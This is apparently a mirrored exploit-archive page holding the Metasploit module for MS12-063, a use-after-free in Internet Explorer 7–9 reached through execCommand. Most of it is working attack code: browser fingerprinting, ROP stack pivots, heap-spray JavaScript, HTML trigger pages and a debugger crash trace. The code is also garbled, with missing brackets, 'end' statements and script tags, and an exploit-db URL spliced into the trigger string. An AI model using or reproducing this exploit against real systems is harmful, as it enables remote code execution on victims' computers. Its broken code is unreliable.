发布 2012-10-10 漏洞条目

Microsoft Internet Explorer – execCommand Use-After-Free (MS12-063) (Metasploit)

Exploit Source

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GoodRanking

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::RopDb

include Msf::Exploit::Remote::BrowserAutopwn

autopwn_info({

:ua_name => HttpClients::IE,

:ua_minver => "7.0",

:ua_maxver => "9.0",

:javascript => true,

:rank => GoodRanking

})

def initialize(info={})

super(update_info(info,

'Name' => "MS12-063 Microsoft Internet Explorer execCommand Use-After-Free Vulnerability ",

'Description' => %q{

This module exploits a vulnerability found in Microsoft Internet Explorer (MSIE). When

rendering an HTML page, the CMshtmlEd object gets deleted in an unexpected manner,

but the same memory is reused again later in the CMshtmlEd::Exec() function, leading

to a use-after-free condition.

Please note that this vulnerability has been exploited in the wild since Sep 14 2012.

Also note that presently, this module has some target dependencies for the ROP chain to be

valid. For WinXP SP3 with IE8, msvcrt must be present (as it is by default).

For Vista or Win7 with IE8, or Win7 with IE9, JRE 1.6.x or below must be installed (which

is often the case).

'License' => MSF_LICENSE,

'Author' =>

[

'unknown', # via ZDI

'eromang', # First public discovery

'binjo',

'sinn3r', # Metasploit

'juan vazquez' # Metasploit

'References' =>

[

[ 'CVE', '2012-4969' ],

[ 'OSVDB', '85532' ],

[ 'MSB', 'MS12-063' ],

[ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2757760' ],

[ 'URL', 'http://eromang.zataz.com/2012/09/16/zero-day-season-is-really-not-over-yet/' ],

[ 'URL', 'http://blog.vulnhunt.com/index.php/2012/09/17/ie-execcommand-fuction-use-after-free-vulnerability-0day/'],

[ 'URL', 'http://metasploit.com' ]

'Payload' =>

{

'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500

'DefaultOptions' =>

{

'ExitFunction' => "none",

'InitialAutoRunScript' => 'migrate -f',

'Platform' => 'win',

'Targets' =>

[

[ 'Automatic', {} ],

[ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5fa', 'Random' => false } ],

[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4', 'Random' => false } ],

[ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5fa', 'Random' => false } ],

[ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Random' => false } ],

[ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Random' => false } ],

[ 'IE 9 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5fc', 'Random' => true } ]

'Privileged' => false,

'DisclosureDate' => "Sep 14 2012", # When it was spotted in the wild by eromang

'DefaultTarget' => 0))

register_options(

[

OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])

], self.class)

end

def get_target(agent)

#If the user is already specified by the user, we'll just use that

return target if target.name != 'Automatic'

nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''

ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

ie_name = "IE #{ie}"

case nt

when '5.1'

os_name = 'Windows XP SP3'

when '6.0'

os_name = 'Windows Vista'

when '6.1'

os_name = 'Windows 7'

end

targets.each do |t|

if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))

vprint_status("Target selected as: #{t.name}")

return t

end

return nil

end

def junk(n=4)

return rand_text_alpha(n).unpack("V")[0].to_i

end

def nop

return make_nops(4).unpack("V")[0].to_i

end

def get_payload(t, cli)

code = payload.encoded

# No rop. Just return the payload.

return code if t['Rop'].nil?

# Both ROP chains generated by mona.py - See corelan.be

case t['Rop']

when :msvcrt

print_status("Using msvcrt ROP")

exec_size = code.length

stack_pivot = [

0x77c4e393, # RETN

0x77c4e392, # POP EAX # RETN

0x77c15ed5, # XCHG EAX, ESP # RETN

].pack("V*")

rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'})

else

print_status("Using JRE ROP")

exec_size = 0xffffffff - code.length + 1

if t['Random']

stack_pivot = [

0x0c0c0c0c, # 0c0c0c08

0x7c347f98, # RETN

0x7c347f97, # POP EDX # RETN

0x7c348b05 # XCHG EAX, ESP # RET

].pack("V*")

else

stack_pivot = [

0x7c347f98, # RETN

0x7c347f97, # POP EDX # RETN

0x7c348b05 # XCHG EAX, ESP # RET

].pack("V*")

end

rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})

end

return rop_payload

end

# Spray published by corelanc0d3r

# Exploit writing tutorial part 11 : Heap Spraying Demystified

# See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/

def get_random_spray(t, js_code, js_nops)

spray = <<-JS

function randomblock(blocksize)

{

var theblock = "";

for (var i = 0; i < blocksize; i++)

{

theblock += Math.floor(Math.random()*90)+10;

}

return theblock;

}

function tounescape(block)

{

var blocklen = block.length;

var unescapestr = "";

for (var i = 0; i < blocklen-1; i=i+4)

{

unescapestr += "%u" + block.substring(i,i+4);

}

return unescapestr;

}

var heap_obj = new heapLib.ie(0x10000);

var code = unescape("#{js_code}");

var nops = unescape("#{js_nops}");

while (nops.length < 0x80000) nops += nops;

var offset_length = #{t['Offset']};

for (var i=0; i < 0x1000; i++) {

var padding = unescape(tounescape(randomblock(0x1000)));

while (padding.length < 0x1000) padding+= padding;

var junk_offset = padding.substring(0, offset_length);

var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);

while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;

sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);

heap_obj.alloc(sprayblock);

}

return spray

end

def get_spray(t, js_code, js_nops)

js = <<-JS

var heap_obj = new heapLib.ie(0x20000);

var code = unescape("#{js_code}");

var nops = unescape("#{js_nops}");

while (nops.length < 0x80000) nops += nops;

var offset = nops.substring(0, #{t['Offset']});

var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

while (shellcode.length < 0x40000) shellcode += shellcode;

var block = shellcode.substring(0, (0x80000-6)/2);

heap_obj.gc();

for (var i=1; i < 0x300; i++) {

heap_obj.alloc(block);

}

var overflow = nops.substring(0, 10);

end

def load_html1(cli, my_target)

p = get_payload(my_target, cli)

js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))

js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))

js_r_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))

if my_target['Random']

js = get_random_spray(my_target, js_code, js_r_nops)

else

js = get_spray(my_target, js_code, js_nops)

end

js = heaplib(js, {:noobfu => true})

if datastore['OBFUSCATE']

js = ::Rex::Exploitation::JSObfu.new(js)

js.obfuscate

end

html = %Q|

<html>

<body>

var arrr = new Array();

arrr[0] = window.document.createElement("img");

arrr[0]["src"] = "#{Rex::Text.rand_text_alpha(1)}";

</script>

#{js}

</script>

</body>

</html>

return html

end

def load_html2

html = %Q|

<HTML>

function funcB() {

document.execCommand("selectAll");

};

function funcA() {

document.write("#{Rex::Text.rand_text_alpha(1)}");

parent.arrr[0].src = "https://www.exploit-db.com/exploits/21840/YMjf\\u0c08\\u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH";

}

</script>

</div>

</body>

</HTML>

return html

end

def this_resource

r = get_resource

return ( r == '/') ? '' : r

end

def on_request_uri(cli, request)

uri = request.uri

agent = request.headers['User-Agent']

my_target = get_target(agent)

vprint_status("Requesting: #{uri}")

print_status(agent)

# Avoid the attack if the victim doesn't have the same setup we're targeting

if my_target.nil?

print_error("Browser not supported, sending a 404: #{agent.to_s}")

send_not_found(cli)

return

end

if uri =~ /#{@html2_name}/

print_status("Loading #{@html2_name}")

html = load_html2

elsif uri =~ /#{@html1_name}/

print_status("Loading #{@html1_name}")

html = load_html1(cli, my_target)

elsif uri =~ /\/$/ or (!this_resource.empty? and uri =~ /#{this_resource}$/)

print_status("Redirecting to #{@html1_name}")

send_redirect(cli, "#{this_resource}/#{@html1_name}")

return

else

send_not_found(cli)

return

end

html = html.gsub(/^\t\t/, '')

send_response(cli, html, {'Content-Type'=>'text/html'})

end

def exploit

@html1_name = "#{Rex::Text.rand_text_alpha(5)}.html"

@html2_name = "#{Rex::Text.rand_text_alpha(6)}.html"

super

end

=begin

0:008> r

eax=00000000 ebx=0000001f ecx=002376c8 edx=0000000d esi=00000000 edi=0c0c0c08

eip=637d464e esp=020bbe80 ebp=020bbe8c iopl=0 nv up ei pl nz na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206

mshtml!CMshtmlEd::Exec+0x134:

637d464e 8b07 mov eax,dword ptr [edi] ds:0023:0c0c0c08=????????

0:008> u

mshtml!CMshtmlEd::Exec+0x134:

637d464e 8b07 mov eax,dword ptr [edi]

637d4650 57 push edi

637d4651 ff5008 call dword ptr [eax+8]

0:008> k

ChildEBP RetAddr

020bbe8c 637d4387 mshtml!CMshtmlEd::Exec+0x134

020bbebc 637be2fc mshtml!CEditRouter::ExecEditCommand+0xd6

020bc278 638afda7 mshtml!CDoc::ExecHelper+0x3c91

020bc298 638ee2a9 mshtml!CDocument::Exec+0x24

020bc2c0 638b167b mshtml!CBase::execCommand+0x50

020bc2f8 638e7445 mshtml!CDocument::execCommand+0x93

020bc370 636430c9 mshtml!Method_VARIANTBOOLp_BSTR_oDoVARIANTBOOL_o0oVARIANT+0x149

020bc3e4 63643595 mshtml!CBase::ContextInvokeEx+0x5d1

020bc410 63643832 mshtml!CBase::InvokeEx+0x25

020bc460 635e1cdc mshtml!DispatchInvokeCollection+0x14b

020bc4a8 63642f30 mshtml!CDocument::InvokeEx+0xf1

020bc4d0 63642eec mshtml!CBase::VersionedInvokeEx+0x20

020bc520 633a6d37 mshtml!PlainInvokeEx+0xea

020bc560 633a6c75 jscript!IDispatchExInvokeEx2+0xf8

020bc59c 633a9cfe jscript!IDispatchExInvokeEx+0x6a

020bc65c 633a9f3c jscript!InvokeDispatchEx+0x98

020bc690 633a77ff jscript!VAR::InvokeByName+0x135

020bc6dc 633a85c7 jscript!VAR::InvokeDispName+0x7a

020bc708 633a9c0b jscript!VAR::InvokeByDispID+0xce

020bc8a4 633a5ab0 jscript!CScriptRuntime::Run+0x2989

=end

作者: Metasploit
日期: 2012-10-10
类别: remote
平台: windows

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